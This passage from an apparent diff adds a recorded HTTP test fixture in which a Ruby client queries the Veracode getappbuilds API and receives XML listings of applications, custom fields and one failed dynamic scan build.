+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:34 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:18:35 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:36 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:28:19 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
